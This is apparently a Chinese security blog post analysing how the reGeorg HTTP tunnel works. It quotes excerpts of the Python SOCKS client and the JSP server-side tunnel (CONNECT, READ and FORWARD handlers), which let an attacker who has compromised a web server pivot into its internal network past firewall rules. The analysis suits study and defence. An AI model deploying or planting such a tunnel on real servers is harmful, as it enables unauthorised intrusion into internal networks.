reGeorg原理分析

背景

昨天收到小朋友的呼唤,说最近面试问到了reGeorg的原理,一脸懵逼。网上也没有查到好原理的资料,全是教怎么使用。所以前来取经。但是吧,以前确实没有深入看过这块,直接说的话容易误人子弟。所以进看了源码分析了一下

适用场景

一般用在服务器已被getshell,想横向渗透但是因为ACL策略较为严格。只允许http协议进出。无法直接将端口转发

原理泳道图

Alt text

详细细节

首先声明会省略一些不重要的步骤

例子: python reGeorgSocksProxy.py -p 9999 -u http://baidu.com/tunnel.jsp

  • 1.绑定本地的9999端口,起一个SockerServer服务。用来接收本地转发的流量
1
2
3
4
5
6
7
8
9
10
11
12
13
servSock = socket(AF_INET, SOCK_STREAM)
servSock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
servSock.bind((args.listen_on, args.listen_port))
servSock.listen(1000)
while True:
try:
sock, addr_info = servSock.accept()
sock.settimeout(SOCKTIMEOUT)
log.debug("Incomming connection")
session(sock, args.url).start()
except KeyboardInterrupt, ex:
break
except Exception, e:
  • 2.用Proxifier将流量代理到本地的9999端口
  • 3.一旦有流量进入后,判断是socks的哪个版本
1
2
3
4
5
ver = sock.recv(1)
if ver == "\x05":
return self.parseSocks5(sock)
elif ver == "\x04":
return self.parseSocks4(sock)

获取请求的tagetIP+Port

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
log.debug("SocksVersion5 detected")
nmethods, methods = (sock.recv(1), sock.recv(1))
sock.sendall(VER + METHOD)
ver = sock.recv(1)
if ver == "\x02": # this is a hack for proxychains
ver, cmd, rsv, atyp = (sock.recv(1), sock.recv(1), sock.recv(1), sock.recv(1))
else:
cmd, rsv, atyp = (sock.recv(1), sock.recv(1), sock.recv(1))
target = None
targetPort = None
if atyp == "\x01": # IPv4
# Reading 6 bytes for the IP and Port
target = sock.recv(4)
targetPort = sock.recv(2)
target = "." .join([str(ord(i)) for i in target])
targetPort = ord(targetPort[0]) * 256 + ord(targetPort[1])
if cmd == "\x02": # BIND
raise SocksCmdNotImplemented("Socks5 - BIND not implemented")
elif cmd == "\x03": # UDP
raise SocksCmdNotImplemented("Socks5 - UDP not implemented")
elif cmd == "\x01": # CONNECT
serverIp = target
try:
serverIp = gethostbyname(target)
except:
log.error("oeps")
serverIp = "".join([chr(int(i)) for i in serverIp.split(".")])
  • 4.发送http请求到服务端的脚本,标识符是CONNECT。附带的参数是tagetIP+Port

    如果请求成功,会生成的sessionID保存下来(很重要用来保存整个服务端和Target的Socket会话状态)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
headers = {"X-CMD": "CONNECT", "X-TARGET": target, "X-PORT": port}
self.target = target
self.port = port
cookie = None
conn = self.httpScheme(host=self.httpHost, port=self.httpPort)
# response = conn.request("POST", self.httpPath, params, headers)
response = conn.urlopen('POST', self.connectString + "?cmd=connect&target=%s&port=%d" % (target, port), headers=headers, body="")
if response.status == 200:
status = response.getheader("x-status")
if status == "OK":
cookie = response.getheader("set-cookie")
log.info("[%s:%d] HTTP [200]: cookie [%s]" % (self.target, self.port, cookie))
else:
if response.getheader("X-ERROR") is not None:
log.error(response.getheader("X-ERROR"))
  • 5.Tunel服务器与Target建立Socket连接
1
2
3
4
5
6
7
8
9
10
if (cmd.compareTo("CONNECT") == 0) {
try {
String target = request.getHeader("X-TARGET");
int port = Integer.parseInt(request.getHeader("X-PORT"));
SocketChannel socketChannel = SocketChannel.open();
socketChannel.connect(new InetSocketAddress(target, port));
socketChannel.configureBlocking(false);
session.setAttribute("socket", socketChannel);
response.setHeader("X-STATUS", "OK");
}
  • 6.发送http请求到服务端的脚本,标识符是READ。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
headers = {"X-CMD": "READ", "Cookie": self.cookie, "Connection": "Keep-Alive"}
response = conn.urlopen('POST', self.connectString + "?cmd=read", headers=headers, body="")
data = None
if response.status == 200:
status = response.getheader("x-status")
if status == "OK":
if response.getheader("set-cookie") is not None:
cookie = response.getheader("set-cookie")
data = response.data
# Yes I know this is horrible, but its a quick fix to issues with tomcat 5.x bugs that have been reported, will find a propper fix laters
try:
if response.getheader("server").find("Apache-Coyote/1.1") > 0:
data = data[:len(data) - 1]
except:
pass
if data is None:
data = ""
else:
data = None
log.error("[%s:%d] HTTP [%d]: Status: [%s]: Message [%s] Shutting down" % (self.target, self.port, response.status, status, response.getheader("X-ERROR")))
else:
log.error("[%s:%d] HTTP [%d]: Shutting down" % (self.target, self.port, response.status))
if data is None:
# Remote socket closed
break
if len(data) == 0:
sleep(0.1)
continue
transferLog.info("[%s:%d] <<<< [%d]" % (self.target, self.port, len(data)))
self.pSocket.send(data)
  • 7.Tunel服务器得到Client客户端发送的读取指令后,读取socket数据
1
2
3
4
5
6
SocketChannel socketChannel = (SocketChannel)session.getAttribute("socket");
try {
ByteBuffer buf = ByteBuffer.allocate(512);
int bytesRead = socketChannel.read(buf);

}
  • 8.把读到的数据,以二进制流的形式用response写给client
1
2
3
4
5
6
7
ServletOutputStream so = response.getOutputStream();
while (bytesRead > 0){
so.write(buf.array(),0,bytesRead);
so.flush();
buf.clear();
bytesRead = socketChannel.read(buf);
}

Client接收到数据,把响应数据send给相应的程序

1
pSocket.send(data)
  • 9.经进行socketServer接受到数据进行解析,取出具体的data比如我要访问内网的oa.com/admin.do系统,大概会生成如下data
1
2
3
4
5
6
7
8
9
10
11
12
13
14
StringBuffer temp = new StringBuffer();
temp.append("GET http://oa.com:8080/admin.do HTTP/1.1\r\n");
temp.append("Host: oa.com:8080\r\n");
temp.append("Connection: keep-alive\r\n");
temp.append("Cache-Control: max-age=0\r\n");
temp
.append("User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11\r\n");
temp
.append("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n");
temp.append("Accept-Encoding: gzip,deflate,sdch\r\n");
temp.append("Accept-Language: zh-CN,zh;q=0.8\r\n");
temp.append("Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3\r\n");
temp.append("\r\n");
request = temp.toString().getBytes();
  • 10.然后会把解析好的data放到http的data里,并将标识符设置成FORWARD。发送给Tunel服务器
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
self.pSocket.settimeout(1)
data = self.pSocket.recv(READBUFSIZE)
if not data:
break
print("FORWARD---------")
headers = {"X-CMD": "FORWARD", "Cookie": self.cookie, "Content-Type": "application/octet-stream", "Connection": "Keep-Alive"}
response = conn.urlopen('POST', self.connectString + "?cmd=forward", headers=headers, body=data)
if response.status == 200:
status = response.getheader("x-status")
if status == "OK":
if response.getheader("set-cookie") is not None:
self.cookie = response.getheader("set-cookie")
else:
log.error("[%s:%d] HTTP [%d]: Status: [%s]: Message [%s] Shutting down" % (self.target, self.port, response.status, status, response.getheader("x-error")))
break
else:
log.error("[%s:%d] HTTP [%d]: Shutting down" % (self.target, self.port, response.status))
break
transferLog.info("[%s:%d] >>>> [%d]" % (self.target, self.port, len(data)))
  • 11.Tunel服务器接收到数据后,得到标识符FORWARD后,从request获取到二进制数据流。write给前面建立好的SocketChannel
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
else if (cmd.compareTo("FORWARD") == 0){
SocketChannel socketChannel = (SocketChannel)session.getAttribute("socket");
try {

int readlen = request.getContentLength();
byte[] buff = new byte[readlen];
request.getInputStream().read(buff, 0, readlen);
ByteBuffer buf = ByteBuffer.allocate(readlen);
buf.clear();
buf.put(buff);
buf.flip();
while(buf.hasRemaining()) {
socketChannel.write(buf);
}
response.setHeader("X-STATUS", "OK");
//response.getOutputStream().close();

}
  • 12.然后又是一波有力的READ…后续就是循环,建立连接-转发请求-读取。。。。
1
READ-FORWARD-READ...CONNECT....

要点总结

  1. PC端只和TunelServer建立Http请求,没有打任何通道
  2. reGeorg的http隧道属于正向 代理
  3. 众所周知Http为短连接,所以TunelServer与受害内网主机的socket状态是有Session保存,里面直接存放了socketChannel对象
  4. 之所以TunelServer看不到取访问某个域名下具体的URI资源,是因为前期只是建立连接。后期通过转发的形式从http的reques流里取到了详情的请求内容。并不会直接getheader(“X-uri”)等操作
文章作者: Screw
文章链接: http://screwsec.com/2020/06/05/reGeorg%E5%8E%9F%E7%90%86%E5%88%86%E6%9E%90/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Screw's blog